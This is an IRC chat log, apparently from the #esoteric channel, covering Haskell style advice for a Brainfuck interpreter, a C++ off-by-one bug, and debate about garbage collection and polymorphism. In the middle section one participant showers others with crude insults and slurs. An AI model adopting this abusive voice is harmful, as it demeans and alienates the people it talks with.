19:03:51 -!- augur has quit (Read error: Connection reset by peer).
19:03:53 <AnMaster> ?
19:04:05 <AnMaster> fax, what has gone wrong?
19:04:15 <fax> just spilled my tea
19:05:52 <oklopol> i heard coffee is the new tea
19:07:32 <pikhq> I heard coffee is delish.
19:16:38 -!- augur has joined.
19:20:04 <lament> i heard coffee is makes you pee.
19:22:07 <oklopol> no that can't be true i peed today and i haven't drunked any coffee
19:26:08 -!- kar8nga has quit (Remote host closed the connection).
19:26:39 <lament> have you ever had any coffee?
19:29:42 <AnMaster> <fax> just spilled my tea <-- as long as it wasn't on the computer or anything like that it shouldn't be too bad
19:30:01 -!- charlls has joined.
19:30:14 <AnMaster> also I assume it was in the kitchen? As you (or I at least) never take any fluids near a computer for safety reason
19:31:54 <oklopol> lol
19:31:59 <oklopol> you're such a geek
19:32:01 <oklopol> ;D
19:32:17 <oklopol> i sometimes even take baths with my laptop
19:34:24 * Sgeo has fluids near someone else's computer
19:50:17 <FireFly> <AnMaster> also I assume it was in the kitchen? As you (or I at least) never take any fluids near a computer for safety reason
19:50:27 <FireFly> I drink tea in front of my computer like... at least twice a day
19:53:04 <FireFly> And I've had tea spilled out on my keyboard lots of times
19:53:06 <FireFly> Works just as well
19:58:20 <AnMaster> <oklopol> i sometimes even take baths with my laptop <-- really?
20:03:31 -!- ais523 has joined.
20:17:24 -!- augur has quit (Ping timeout: 258 seconds).
21:18:39 -!- sshc has quit (Ping timeout: 260 seconds).
21:20:22 -!- sshc has joined.
22:19:55 -!- wareya has joined.
22:21:18 -!- Tritonio_GR has joined.
22:41:11 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
22:41:40 -!- charlls has quit (Read error: Connection reset by peer).
22:41:57 -!- sebbu2 has joined.
22:43:57 -!- sebbu has quit (Ping timeout: 264 seconds).
22:43:58 -!- sebbu2 has changed nick to sebbu.
22:52:04 -!- sshc_ has joined.
22:55:15 -!- sshc has quit (Ping timeout: 252 seconds).
22:57:07 -!- sshc has joined.
22:58:47 -!- sshc_ has quit (Ping timeout: 245 seconds).
23:02:23 -!- adu has joined.
23:10:36 -!- coppro has joined.
23:11:37 -!- Oranjer has joined.
23:20:21 <coppro> Any Haskell enthusiasts present?
23:22:32 <Sgeo> coppro, not an enthusiast per se, but I know a bit
23:22:45 <coppro> looking for someone with experience
23:22:54 <coppro> and I'm too lazy to go to #haskell
23:23:36 <Sgeo> o.O at supreme laziness
23:25:23 <coppro> actually, I want style advice
23:25:29 <coppro> and IRC is not usually a great place for that
23:25:42 <fax> coppro what is ti??
23:25:48 <fax> it
23:25:55 <coppro> fax: like I said, just style advice
23:25:59 <fax> YES AND??
23:26:03 <coppro> do you program Haskell a lot?
23:26:09 <fax> never heard of it
23:26:14 <coppro> then you can't help!
23:26:17 <fax> I can probably work it though
23:27:09 <coppro> no, you can't
23:27:33 * adu <3 Haskell
23:27:33 <fax> hey look at me in a haskell programmer!! "monads monasd lol category theory"
23:27:43 <adu> hi coppro
23:27:49 <coppro> hi
23:28:01 <coppro> can you help?
23:28:04 -!- tombom has quit (Quit: Leaving).
23:28:06 <adu> fax: that's not how haskell programmers talk
23:28:30 <fax> adu: "huhu I just invented a new semantic monad combinator liberry!"
23:28:32 <adu> coppro: with...
23:28:37 <coppro> adu: Haskell style
23:28:42 <adu> style?
23:28:42 -!- MigoMipo has quit (Read error: Connection reset by peer).
23:29:05 <coppro> yeah, like "you should do X instead of Y"
23:29:27 <adu> I've written 2 libraries on Hackage, so I would not consider myself an expert
23:29:41 <adu> iirc dons has written thousands of libraries, perhaps you should ask him
23:29:57 <adu> what's your question?
23:30:27 <coppro> well, I'm trying to implement a vital piece of software - a BF interpreter
23:30:40 <fax> coppro, that's not possible in haskell
23:30:43 <adu> BF = brainf**k?
23:30:49 <fax> it's a pure functional language so it can't do input/output
23:30:51 <adu> fax, coppro sure its possible
23:30:52 <coppro> yes
23:31:01 <fax> no way I just checked the wiki page right now
23:31:02 <coppro> fax: yes, it can. There's a particularly elegant solution to this problem
23:31:07 <fax> it says 'purely functional'
23:31:16 <coppro> yes. You work on IO objects
23:31:24 <fax> oh it's object oriented?
23:31:25 <fax> I can do that
23:31:30 <adu> fax: you obviously know nothing about Haskell, so stop making these kinds of assertions
23:31:30 * Sgeo slaps fax
23:31:36 <fax> lol
23:31:48 * Sgeo wanted to make a BF interpreter in Haskell at some point
23:31:56 <adu> Haskell _is_ purely functional, except two datatypes: IO and ST
23:32:02 <coppro> anyways, I have a few questions... first off, is there anything at http://pastie.org/883776 which seems wrong?
23:32:30 <fax> coppro, there's a brainfuck interpreter that using LLVM to JIT It in the examples for the llvm binding
23:32:41 <coppro> fax: I'm aware
23:32:49 <fax> coppro so why are you doing this :S
23:32:57 <Sgeo> Why two [Instruction]s?
23:33:40 <fax> coppro you should turn the lex ([Instructions]) into a parse tree, so that implementing loops doesn't involving searching for a balanced paren
23:33:55 <fax> instead of this weird stacky thing you seem to be doing
23:34:21 <coppro> It's so that when it's running, the program will use two lists; instructions are shoved from one to the other as the program advances; I could use a parse tree but that sounds complex :P
23:34:24 * Sgeo would think that instead of StartLoop/EndLoop, just a Loop [Instruction] makes sense
23:34:26 <fax> also if you used list instead of maybe the lex function would be omre natural
23:34:39 <fax> coppro -- um you implement parsing either way
23:34:49 <fax> Sgeo is right
23:34:53 <coppro> wait
23:34:59 <coppro> you're the one who knows nothing about haskell
23:35:02 <Sgeo> Wait, why is fax commenting on Haskell?
23:35:06 <fax> I just read the wiki page
23:35:09 <fax> it's obvious
23:35:14 <Oranjer> hahaha
23:35:25 <fax> and I alreayd know brainfuck
23:35:39 * coppro considers /ignore
23:35:40 <Sgeo> What does catMaybes do?
23:35:45 * Sgeo hoogles
23:35:49 <coppro> Sgeo: takes a list of Maybes and removes the Nothings
23:35:58 <Sgeo> Ah
23:36:14 <adu> coppro: you should change the "$" to a "."
23:36:26 <adu> coppro: that would make parseBF :: [Char] -> BFProgram
23:36:43 <coppro> oops, yeah, that's a holdover from an earlier version
23:37:00 <coppro> it won't compile with $ anyways
23:37:13 <fax> USE MONADS LOL
23:37:21 <Sgeo> Maybe
23:37:26 <Sgeo> Maybe's a monad, lists are monads
23:37:28 <adu> fax: that's not funny
23:37:34 <Sgeo> Although I don't think e's using them monadically
23:37:34 <fax> it makes me laugh
23:37:36 <Sgeo> I'm not sure
23:37:51 <coppro> Nope
23:38:26 * Sgeo still dislikes StartLoop/EndLoop
23:38:29 <coppro> hmm... what does List's >>= do?
23:38:36 <coppro> Sgeo: in what sense? the names?
23:38:50 <Sgeo> coppro, the fact that it's not a Loop [Instruction]
23:38:59 <coppro> ah
23:39:00 <Sgeo> But then, instruction would be more complex
23:39:07 <coppro> exactly why I didn't do that
23:39:12 <adu> coppro: it takes 2 parameters: a list an a function of type (a -> [b]) and outputs a list of results
23:39:26 <fax> coppro [] is nondeterministic search
23:39:43 <coppro> hey, thanks, fax, you helped me make up my mind! /ignore it is!
23:39:49 <fax> you fucking idiot
23:39:50 <adu> coppro: its actually the same as ',' in list-comprehension syntax
23:39:58 <coppro> adu: ah, ok!
23:39:58 <fax> why am I surrounded by such mrons
23:39:59 <adu> fax: stop that please
23:40:07 <fax> adu, seriously he's just a stupid cunt
23:40:19 <Sgeo> fax is actually kind of right, if I remember my random keywords correctly. Lists, monadically, represent nondeterministic values. [1,2,3] is a value that could be 1, 2, or 3
23:40:22 <adu> fax: i'm ignoring you
23:40:35 <Sgeo> Not sure what "search" was about. Just fax being an idiot, probably
23:40:37 <fax> adu, first off he spent about 20 mins trying to find someone elite enough to help him instead of just asking the damn question, now he's being a tit about /ignore (twice)
23:41:00 <fax> Sgeo: fuck you too, never heard of a tree search algorithm?
23:41:15 <fax> Sgeo, I'm not 'kind of right' I'm 100% accurate
23:41:19 * coppro is thinking he'll just drop the type constructor and alias BFProgram to the list, then use a record for the VM (which contains two lists of integers and two of instructions)
23:42:12 <fax> I'm the worlds best haskell programmer so don't underestimate me
23:42:17 <adu> coppro: so that looks find to me, stylistically at least
23:42:28 <coppro> Ok
23:42:30 <coppro> thanks
23:42:59 <adu> although, i would probably just keep the characters, as you can pattern match on the characters just as well as the data constructors
23:43:18 <fax> Sgeo -- seriously... you never heard of depth first search?
23:43:31 <fax> Sgeo -- it's kind of uh, an important thing in computing
23:43:34 <adu> the only advantage i can see of transforming the characters into a new datatype is eliminating the "else" case
23:44:23 <adu> but if that's why you did that, then keep it
23:44:34 <fax> I thought you guys were cool and could take a joke but (coppro and adu) guess not
23:45:17 <coppro> adu: yeah, I thought about that
23:45:32 <coppro> but I need an AST! :P
23:46:44 <adu> well, the only "tree" involved in BF that I can think of is the compression of +++++ into (Increment 5)
23:46:48 <Quadrescence> fax: are you hot
23:46:57 <adu> lol
23:47:10 <adu> i wonder what fax is saying now
23:47:10 <fax> adu: think about [] perhap
23:47:18 <adu> too bad I'll never know
23:47:18 <fax> adu: what I'm saying is you're a dork
23:47:33 <fax> adu: I just said that because I thought you'd be looking in the logs :/
23:47:51 * fax wonders why you lot are being such elitist twerps
23:48:08 <coppro> yes. It is too bad.
23:48:10 <fax> (especially since you're talking about total beginner stuff..)
23:48:25 <coppro> whatever shall I do
23:48:59 <fax> coppro: You could spent all your time being an annoying twat and rubbing in the fact that you /ignored me (after going on and on about 'ill do it!! I swear')
23:49:04 <Quadrescence> fax: How are you anyway?
23:49:53 <fax> The only thing I don't get is why Sgeo called me an idiot
23:50:54 <fax> I mean I get the idea that he was just pattern matching what I said against keywords he half remembered, but he knows he's doing that too -- so why does he feel sure enough with that to conclude that I'm an idiot?
23:51:09 <fax> I'm not denying it, of course .. but his reasoning wasn't sound
23:52:05 <Quadrescence> Do you have me on ignore? :(
23:53:59 <Quadrescence> hey can someone ask fax if I'm on ignore
23:54:35 <oklopol> lol @ fax dissing above :D
23:54:59 <oklopol> "hey why don't you do it this better way" "nah, because you don't know any haskell"
23:55:10 <coppro> Quadrescence: I could ask him, but I wouldn't get to see the reply
23:55:35 <Quadrescence> oklopol: can you ask?
23:55:36 <fax> coppro should learn about the IRC logs
23:55:56 <oklopol> fax: is Quadrescence on ignore?
23:56:07 <fax> yeah why
23:56:11 <oklopol> he wanted me to ask
23:56:17 <fax> he was being a cunt in #~math
23:56:27 <oklopol> oh i thought it was just "Quadrescence: fax: are you hot"
23:56:31 <fax> no
23:56:41 <Quadrescence> oklopol: [17:48.39] <Quadrescence> fax: How are you anyway?
23:56:43 <Quadrescence> say that too :(
23:56:49 <fax> he schooled me for about a hour (huge waste of time) in this really arrogant way, and what he was saying wasn't even correct
23:57:27 <fax> I just thought, fuck this and left his channel... apparently he followed me in here
23:57:47 <Quadrescence> I did not follow, I came here because of someone else's recommendation
23:57:54 <fax> which is kind of nasty but I dont' really have any right to tell people to fuck off, and even if I did (which I would do) it wouldn't work
23:58:43 <oklopol> Quadrescence: i'm not going to ask her how she's doing
23:58:54 <oklopol> you will not be able to ask that question through me
2010-03-24
00:21:10 <coppro> Does Haskell have a way to name parts of patterns?
00:21:24 <oklopol> @
00:22:30 <coppro> thanks
00:23:22 <oklopol> no prob
00:27:50 <ais523> fax: of course BF is possible in Haskell
00:28:20 <ais523> also, AnMaster vs. alise is bad enough, I don't really like disputes/ignore-battles between #esoteric regulars
00:28:34 <fax> they started it
00:29:31 <oklopol> why can't we all just get along :'(
00:29:37 <coppro> because this is the Internet
00:29:47 <oklopol> no YOU are the internet
00:30:32 * fax was getting along fine until people started being uppity /ignore users
00:32:35 <oklopol> no actually i think they *first* got annoyed, *then* started to threaten with ignore!
00:32:41 * oklopol shuts up now
00:33:00 <oklopol> so how's this democracy i've been hearing about
00:33:06 <oklopol> does it work?
00:34:49 <ais523> oklopol: depends on what you want it to achieve
00:35:37 <oklopol> next topic: "Quadrescence: I did not follow, I came here because of someone else's recommendation" <<< who?
00:35:57 <oklopol> ais523: say i'm trying to take over the world
00:36:04 <oklopol> but without hurting anyone
00:36:14 <ais523> hmm, I don't think democracy is a good tool for that
00:36:20 <ais523> but then, I can't think of anything else that would work well either
00:36:54 <oklopol> what if i killed everyone so democracy would actually just be me in a voting booth
00:37:14 <ais523> oklopol: then it's no different from any other form of government, just with more paperwork
00:37:26 <oklopol> hmm right, i guess
00:38:55 <Quadrescence> oklopol: I won't disclose
00:39:13 <oklopol> i'll do anything
00:39:17 <oklopol> and i mean anything
00:40:19 <oklopol> this is a pretty great channel, i can do anything i want and no one gets mad
00:40:23 <oklopol> like watch this
00:40:23 <oklopol> o
00:40:24 <oklopol> o
00:40:24 <oklopol> o
00:40:24 <oklopol> o
00:40:24 <oklopol> o
00:40:24 <oklopol> o
00:40:25 <oklopol> o
00:40:25 <oklopol> o
00:40:26 <oklopol> o
00:40:26 <oklopol> o
00:40:27 <oklopol> o
00:40:29 <ais523> oko
00:40:32 <oklopol> ^ that's like 3 o's right there
00:40:38 <oklopol> o'
00:40:41 <ais523> and that's more than 3 o's
00:40:42 <oklopol> s form a ring
00:40:57 <Quadrescence> \o_
00:41:02 <Quadrescence> aw :(
00:41:10 <Quadrescence> i want my bot
00:41:12 <ais523> o oko okoko okokoko okokokoko
00:41:18 <oklopol> okokokokokokokokokoko
00:41:20 <oklopol> okokokokokokokokokoko
00:41:22 <oklopol> okokokokokokokokokokoko
00:41:24 <oklopol> okokokokokokokokokokokokoko
00:41:26 <oklopol> okokokokokookokokokokoko
00:41:29 <fax> oklokonuabfon
00:41:30 <fax> http://www.youtube.com/watch?v=WOdN-d-JogQ
00:43:23 -!- FireFly has quit (Quit: Leaving).
00:44:02 <oklopol> the math is too advanced for me
00:45:20 <oklopol> we made an and port from these tiny sticks once with a friend
00:45:44 <oklopol> we were gonna make a xor but that would've taken too long the way we were doing it
00:45:55 <oklopol> that's pretty neat
00:46:50 <fax> tiny sticks??
00:47:38 <ais523> also, don't you mean "gate", rather than "port"?
00:47:50 <ais523> and how do you pronounce "xor" for it to start with a consonant?#
00:49:29 <oklopol> oh lol yeah
00:49:51 <Sgeo> DAMN BUFFERING
00:49:59 <oklopol> "ksoar"
00:51:16 <oklopol> i think it's a finnishm
00:51:17 -!- cheater3 has joined.
00:51:39 <oklopol> just like i sometimes say "irk" for IRC instead of "i are sea"
00:52:20 * Sgeo wants a language where he can use D'ni numerals for integer constants.
00:52:31 <oklopol> what are D'ni numerals
00:52:40 -!- cheater2 has quit (Read error: No route to host).
00:53:16 <Sgeo> Numerals used by the [ficticious] D'ni civilization
00:53:23 <Sgeo> http://en.wikipedia.org/wiki/File:D'ni_numerals.svg
00:53:50 <fax> lovely
00:54:03 <fax> I played that game
00:54:04 <fax> Riven
00:54:18 * Sgeo has started playing Uru Live
00:54:27 <fax> is that the MMO version?
00:54:30 <Sgeo> Yes
00:54:47 <fax> that struck me as kind of weird... the whole point of the game was the lack of anyone else imo
00:54:53 <fax> what's it liKE/
00:54:56 <fax> I mean does it work?
00:56:42 <Sgeo> Not really as multiplayer as I was hoping for. At least the initial ages are playable alone, but you can invite others with you
00:56:59 <Sgeo> I _think_, at least for the Prime Ages, that others can't actually interact with the environment
00:57:08 <Sgeo> There are social areas, the hoods
00:57:12 <Sgeo> And the City is rather social
00:57:22 <Sgeo> There are some Ages that require several people
00:57:25 <fax> interesting
00:57:28 <Sgeo> I think one Age requires 8
00:57:56 <fax> I like teh sound of that
00:59:11 <oklopol> so who loves bowling here
00:59:28 <oklopol> i should stop talking for today
01:00:59 <coppro> lol
01:03:18 <oklopol> night! ->
01:09:45 <Sgeo> I've bowled in Cybertown
01:09:48 <Sgeo> Oh, night
01:14:30 <ais523> hmm, I've thought up a really interesting way to think of Haskelly IO
01:14:50 <pikhq> Oh?
01:14:59 <ais523> basically, you return an infinitely big lookup table listing what outputs should go with all possible inputs, allowing for interspersings of them
01:15:13 <ais523> and because it's a lazy lang, only the parts of the lookup table that are actually used are calculated
01:15:26 <coppro> I've always thought of it as returning a series of IO instructions and associated functions to evaluate
01:15:33 <ais523> that's what your IO () "value" actually is
01:15:43 <ais523> and using monads just helps you generate it in a sane way
01:15:52 <pikhq> ais523: That is an entirely valid means of looking at it.
01:16:06 <ais523> yep, although probably not the most practically useful one
01:16:40 <coppro> essentially, I think of it returning an imperative program
01:17:08 <pikhq> Interpretations of it beyond something like "being a C function that evaluates to a value" are generally not all that useful. :P
01:17:48 <fax> what ais523 is (one of) the basis' for a formal treatment of IO
01:18:12 <ais523> fax: wait, I'm a basis for a formal treatment of IO?
01:19:21 <ais523> hmm, you could even make a formal treatment of unsafePerformIO that way
01:19:28 <ais523> unless you wanted to avoid going mad
01:19:32 -!- oerjan has joined.
01:19:36 <fax> http://www.haskell.org/haskellwiki/IO_Semantics
01:19:41 <fax> roughly
01:19:44 <pikhq> Oh dear God. A formal treatment of unsafePerformIO.
01:19:46 <pikhq> o.O
01:21:17 <ais523> ugh, oerjan joined just before you said that
01:21:25 <ais523> and is now presumably hoping he misread it
01:21:48 -!- augur has joined.
01:21:55 <oerjan> how do i misread an URL?
01:22:20 <pikhq> oerjan: "A formal treatment of unsafePerformIO."
01:22:36 <oerjan> *WHOOSH*
01:23:04 <oerjan> (well, half a whoosh anyway)
01:24:41 <oerjan> well there's no unsafePerformIO in that link that I can see.
01:25:15 -!- cheater4 has joined.
01:26:39 -!- sebbu2 has joined.
01:26:44 <pikhq> oerjan: You missed context.
01:27:15 <pikhq> oerjan: "you could even make a formal treatment of unsafePerformIO that way"
01:27:22 <oerjan> well how can i misread properly without ignoring context? i'll look at it again when i get to that point in the logs.
01:28:10 -!- cheater3 has quit (Read error: No route to host).
01:28:39 <oerjan> i recall they've made a formal treatment of exceptions, which is nondeterministic.
01:28:52 <oerjan> (the kind you can only catch in IO)
01:31:19 <oerjan> <adu> fax: you obviously know nothing about Haskell, so stop making these kinds of assertions
01:31:29 <oerjan> you mean he knows just enough to be obnoxious
01:31:48 -!- fungot has quit (Ping timeout: 260 seconds).
01:31:48 -!- Gregor has quit (Ping timeout: 260 seconds).
01:31:49 -!- sebbu has quit (Ping timeout: 260 seconds).
01:33:30 -!- Gregor has joined.
01:34:51 <pikhq> fax: Congrats at being a troll, man.
01:35:00 <pikhq> fax: I'm going to replace you with a small monad. :P
01:35:28 <fax> ?
01:35:29 <oerjan> a small monad that lives under a bridge and pesters goats
01:35:50 <pikhq> (the last sentence is stupid humor that only sounds intelligent because of the word monad)
01:36:06 * fax doesn't equate 'big words' with intelligence
01:36:21 <fax> I hate anti-intellectualism :(
01:39:37 -!- augur has quit (Ping timeout: 245 seconds).
01:44:54 * Sgeo is seriously going to cry
01:45:18 <fax> why/
01:45:19 <fax> ?
01:45:39 <fax> is it because I was nasty to you?? that was just a reflex
01:46:31 <oerjan> no, someone sent him a truck full of onions
01:46:58 <fax> that must be very sad
01:47:04 <Sgeo> What the flying fucking fuck is going on here? http://pastie.org/883967
01:48:18 <oerjan> well << is clearly brainfuck, but i don't understand the point of all those repeated std::cerr comments.
01:48:19 <fax> :/
01:48:23 <fax> Sgeo I tried to compile it
01:48:33 <Sgeo> It's more of a small segment of code
01:48:38 <fax> yeah I realize that NOW
01:48:42 <fax> but :(
01:49:07 <fax> int location = 0;
01:49:07 <fax> int length = 4;
01:49:07 <fax> int items[] = {5,7,8,9,6,5,4,3};
01:49:08 <fax> does the trick
01:49:28 <fax> std::cerr << "items[" << i << "] = " << items[i + 1] << std::endl;
01:49:30 <fax> this line is interesting
01:49:42 <adu> oerjan: lol
01:49:53 <pikhq> Quite interesting.
01:49:53 <Sgeo> It's just reflecting exactly what's supposed to happen on the previous line
01:51:38 <Sgeo> fax, if you find the bug, do let me know
01:51:58 <fax> Sgeo: not sure what the bug IS
01:52:03 * oerjan admits that looks strange
01:52:05 <pikhq> Sgeo: "i + i"
01:52:10 <pikhq> "i + i" != "i + 1"
01:52:17 <oerjan> :D
01:52:27 <Sgeo> ....Thank uoui
01:52:27 <fax> oh it's this:
01:52:28 <fax> items[3] = 5
01:52:28 <Sgeo> *you
01:52:28 <fax> items[3] == 7
01:52:39 <fax> you'd expect it to say items[3] == 5 ?
01:52:47 <pikhq> Sgeo: Now, get a better terminal font for Chrissake.
01:53:00 <fax> Sgeo??????
01:53:01 <Sgeo> Using Visual Studio
01:53:01 <fax> int items[] = {5,7,8,9,6,5,4,3};
01:53:05 <fax> I'm using an immutable array
01:53:09 <fax> so I shouldn't be allowed to modify it
01:53:18 <fax> why doesn't C++ tell me I'm doing something bad
01:53:18 <pikhq> fax: That's quite mutable.
01:53:22 <fax> really!!
01:53:27 <fax> I just assumed it would be like C :/
01:53:34 <pikhq> That's also mutable in C.
01:53:42 <fax> o_o
01:53:55 <fax> I have been using malloc all this time..
01:54:29 <pikhq> You are not declaring an int * with the address being the immutable constant {5,7,8,9,6,5,4,3}.
01:54:49 <pikhq> You are declaring a mutable array on the stack, initialised to {5,7,8,9,6,5,4,3}.
01:55:00 -!- Tritonio_GR has quit (Quit: Leaving.).
01:55:09 <fax> thanks
01:55:25 <pikhq> "const int items[] = ..." is immutable, though.
01:55:39 <fax> Sgeo this *is* weird!
01:55:57 <Sgeo> fax, pikhq solved it
01:56:03 <Sgeo> It's no longer a mystery
01:56:08 <fax> it is to me :D
01:56:13 -!- augur has joined.
01:56:17 <pikhq> fax: i+i != i+1
01:56:36 <fax> aaaaah!
01:56:50 <fax> I wanted to figure it out :(
01:57:26 <pikhq> BTW, you can tell the immutability of a variable with its type. const indicates immutability.
01:57:42 <Sgeo> Mixing const with & hurts my head
01:57:52 <Sgeo> I think I'll just huggle C#
01:57:59 <pikhq> It is... A little confusing with pointers, yes.
01:58:06 <pikhq> That's the syntax's fault.
01:58:22 <Sgeo> A lot of C++ problems are the syntax's fault
01:58:36 <Sgeo> Are there any that aren't?
01:58:45 <pikhq> A lot of C++ problems are starting with C's problems and adding more.
01:59:52 <adu> A lot of C++ problems are not really problems
02:00:11 <pikhq> adu: Garbage collection. The lack of this is a problem in C++.
02:01:00 <coppro> disagree
02:02:02 <pikhq> You also think that leeches are a cure-all, and that feudalism is a great solution to the problem of how to govern people efficiently.
02:02:25 <coppro> both are incorrect
02:02:29 <Sgeo> Why not optional garbage collection?
02:02:49 <pikhq> Sgeo: Because C++'s semantics demand garbage collection.
02:03:04 <coppro> Standardization in that area is going slowly
02:03:21 <Sgeo> There's no way to avoid C++, is there?
02:03:29 <Sgeo> Is it safe to say most programs are written in C++?
02:03:31 <pikhq> Sure there is. Use C.
02:03:33 <coppro> lack of garbage collection is important for some aspects of C++, yes, I like that
02:03:35 <pikhq> No.
02:03:39 <Gregor> By no means are most programs written in C++.
02:03:52 <Sgeo> What's the most commonly used language?
02:04:04 <Gregor> Frankly, I wouldn't be surprised if it's still C.
02:04:06 <coppro> The committee is properly allowing GC implementations in C++0x
02:04:08 <coppro> still C
02:04:17 <pikhq> Probably still C. If not, something like Java.
02:04:25 <coppro> C is top, Java and C++ are next, I forget what order
02:04:39 <Gregor> Then comes BrainFuck
02:04:44 <pikhq> Sounds about right.
02:04:50 <pikhq> Gregor: Hah.
02:04:50 <Gregor> Then Python.
02:04:51 <adu> pikhq: what about shared_ptr<x>?
02:04:52 <Gregor> Then Forth.
02:04:56 <Sgeo> shared_ptr?
02:05:31 <adu> shared_ptr<> is the closest thing to GC in C++
02:05:58 <pikhq> adu: First: reference counting is obnoxious. Second: leaks memory quite well if you have a cyclic reference. Ever. Third: C++ templates are fail.
02:06:22 <Gregor> Fourth: Contrary to popular misconception, reference counting is almost always slower than a half-decent GC.
02:06:36 <adu> pikhq: the idea of templates, imho, is not fail
02:06:37 <Sgeo> Python uses reference counting, iirc :/
02:06:40 <pikhq> Ah, yes. Reference counting is quite slow.
02:06:50 <Sgeo> What does Ruby use?
02:06:52 <Gregor> Sgeo: Plus GC, because reference counting is useless :)
02:06:57 <Gregor> Sgeo: Presumably a proper GC.
02:07:00 <pikhq> adu: Note that I said C++ templates. The idea is just polymorphism.
02:07:22 <pikhq> And polymorphism is embraced in pretty much everything.
02:07:25 <Gregor> I've said it before and I'll say it again: Any language with a type system is far too low-level for me.
02:07:37 <Sgeo> ... that's a joke
02:07:43 <pikhq> Gregor: Dynamic types are still types you know.
02:08:04 <Gregor> pikhq: Depending on who you talk to, prototypes are not types :P
02:08:05 <Sgeo> Hm, C-- doesn't have much of a type system
02:08:19 <pikhq> Gregor: It's still types.
02:08:26 <Sgeo> Although I guess, what is it, things like word8 are still types?
02:08:32 <Sgeo> Or am I misremembering C--?
02:08:37 <pikhq> Sgeo: Yeah, those are still types. Technically.
02:09:50 * adu <3 polymorphism
02:10:04 <adu> actualy i hate polymorphism
02:10:10 <adu> i just like parameters
02:10:25 <pikhq> adu: You just haven't seen much good polymorphism. :P
02:10:36 <adu> and I don't think "parametric polymorphism" is actually polymorphism
02:10:38 <Sgeo> Is C#'s polymorphism considered good or bad?
02:10:57 <coppro> interface-based polymorphism :/
02:11:06 <pikhq> If parametric polymorphism is not actually polymorphism, then polymorphism cannot exist in a statically typed language.
02:11:13 <pikhq> Sgeo: It's... Eh.
02:11:21 <pikhq> Sgeo: Haskell does it pretty much right.
02:11:29 * adu <3 Haskell
02:11:47 <Sgeo> Haven't had much of an opportunity to play with Haskell.
02:12:19 <pikhq> It's the most high-level language you have likely seen yet.
02:12:32 <pikhq> (there exist higher-level, but they're not exactly... Common.)
02:12:55 <Sgeo> High level == passing around functions as though they were candy?
02:13:10 <pikhq> Among other things.
02:13:13 * Sgeo eats a map
02:13:15 <pikhq> Also, yes. They are candy.
02:13:23 <pikhq> AMAZING CANDY.
02:13:55 <Sgeo> I think segregation of IO and non-IO logic is rather interesting.
02:14:30 <pikhq> I think it's just natural.
02:14:39 <Sgeo> Is there anything Haskell is bad at? Would it be sinful for me to make a game that tracked the states of players in Haskell?
02:15:05 <pikhq> Haskell is terrible at real-time stuff.
02:15:29 <pikhq> Though it is wonderful for programmatic generation of real-time code.
02:16:22 <Sgeo> What about the lack of OO?
02:17:00 <adu> Sgeo: the problem is not that Haskell has no OO, the problem is that it has 3 kinds of OO
02:17:12 <pikhq> OO is overrated.
02:17:24 <pikhq> Though technically you can do it just fine in Haskell.
02:17:27 <adu> Sgeo: record-based OO, typeclass-based OO, and module-based OO
02:17:56 <adu> so the problem is that people can't figure out which one is most OO-like
02:17:58 <pikhq> Typeclasses are not OO at all. Records are not OO at all. Neither are modules.
02:18:26 <adu> pikhq: they are all OO minus some features
02:18:43 <fax> 01:14 < pikhq> Haskell is terrible at real-time stuff.
02:18:46 <pikhq> Typeclasses are more like Go's interfaces-thing. Records are... structs. Modules are *a freaking collection of definitions*.
02:18:58 <fax> that might be true but people are basing hard realtime languages (loosely) on haskell
02:19:14 <adu> btw, Haskell doesn't call them "records" it calls them "algebraic datatypes"
02:19:16 <pikhq> fax: They are using Haskell for programmatic generation of hard realtime code.
02:19:22 <fax> ???
02:19:37 <fax> adu: haskell does have records
02:19:48 <fax> just really shit ones...
02:20:01 <pikhq> fax: You can write a Haskell program that outputs hard realtime C using some library that I don't recall.
02:20:06 <pikhq> adu: Learn Haskell por favor.
02:20:14 * fax wonders how the heck they got such an advanced type system but didn't bother with modules or rows....
02:20:26 <adu> pikhq: I've been programming in Haskell for 10 years
02:20:34 <Sgeo> I'm not sure how Haskell records apply when using types that are functions with >0 arguments
02:20:40 <pikhq> adu: Fine, fine. Learn about OO programming. :P
02:20:54 <adu> i've been programming in Python for 15 years
02:21:01 <pikhq> It's about as object-oriented as C. (in that you can hack it together with structs/ADTs, if you feel like it.)
02:21:36 <Sgeo> So, no one's going to spontaneuously explain it to me?
02:22:08 <pikhq> Sgeo: I'm not sure what you're saying.
02:22:23 <adu> Sgeo: spontaneuously explain what?
02:22:43 <Sgeo> data SomeType = SomeType { someconstructor :: a -> [a]}
02:22:45 <Sgeo> For instance
02:22:57 <Sgeo> erm, maybe constructor is the wrong word
02:23:07 <adu> oh, yes, well in Haskell functions are values/objects just like anything else
02:23:22 <Sgeo> How and why would I use something like that?
02:23:38 <adu> for example, database drivers
02:24:14 <adu> you might have a Database type that has query, open, and close methods
02:24:54 <adu> you can encode those methods in separate modules, like System.DB.MySQL or System.DB.Postgres, (which is silly) or you can encode them as members of the Database type
02:24:56 <adu> like you did
02:27:58 <adu> data Database = DB { connectionData :: DBData, query :: Database -> String -> IO String}
02:28:04 <adu> or something like that
02:29:14 <Sgeo> And then instances [sorry for the use of that term] of DB represent different drivers?
02:29:22 <Sgeo> One for MySQL, etc?
02:29:51 <adu> yes, "query" could have different implementations for each instance
02:30:37 <oerjan> What the heck is going on at the esoforum... is that spam or just someone misguided about what the forum is about?
02:30:41 <Sgeo> query MySQL theDB somestring
02:30:44 <adu> the other way, System.DB.MySQL.query and System.DB.Postgres.query are both fixed implementations, and you could have to pick one and not change it
02:30:47 <Sgeo> Seems pretty cumbersome :/
02:31:52 <oerjan> oh it _is_ spam, at least the last one
02:32:12 <oerjan> google provides again
02:32:32 <Sgeo> Hm?
02:32:41 <Sgeo> Which one's spam?
02:32:46 <adu> Sgeo: no, if (theDB :: Database), then you would call it as (query theDB string)
02:32:46 <oerjan> http://esoteric.voxelperfect.net/forum/kareha.pl/1269355073/l50
02:32:55 <oerjan> i haven't checked all of them
02:33:15 <adu> or ((query theDB theDB string) actually, now that i think about it
02:33:19 <oerjan> but there were a whole bunch of messages today that are clearly programming related but not on topic
02:34:29 * Sgeo needs to figure out how to teach himself to segregate IO in code he writes
02:35:05 -!- Oranjer has left (?).
02:35:17 <adu> segregate?
02:35:54 <Sgeo> IO code in one area, non-IO code called by the IO code
02:36:05 <Sgeo> [At least, that's my understanding]
02:36:18 <oerjan> Sgeo: after checking, _everything_ from today is spam
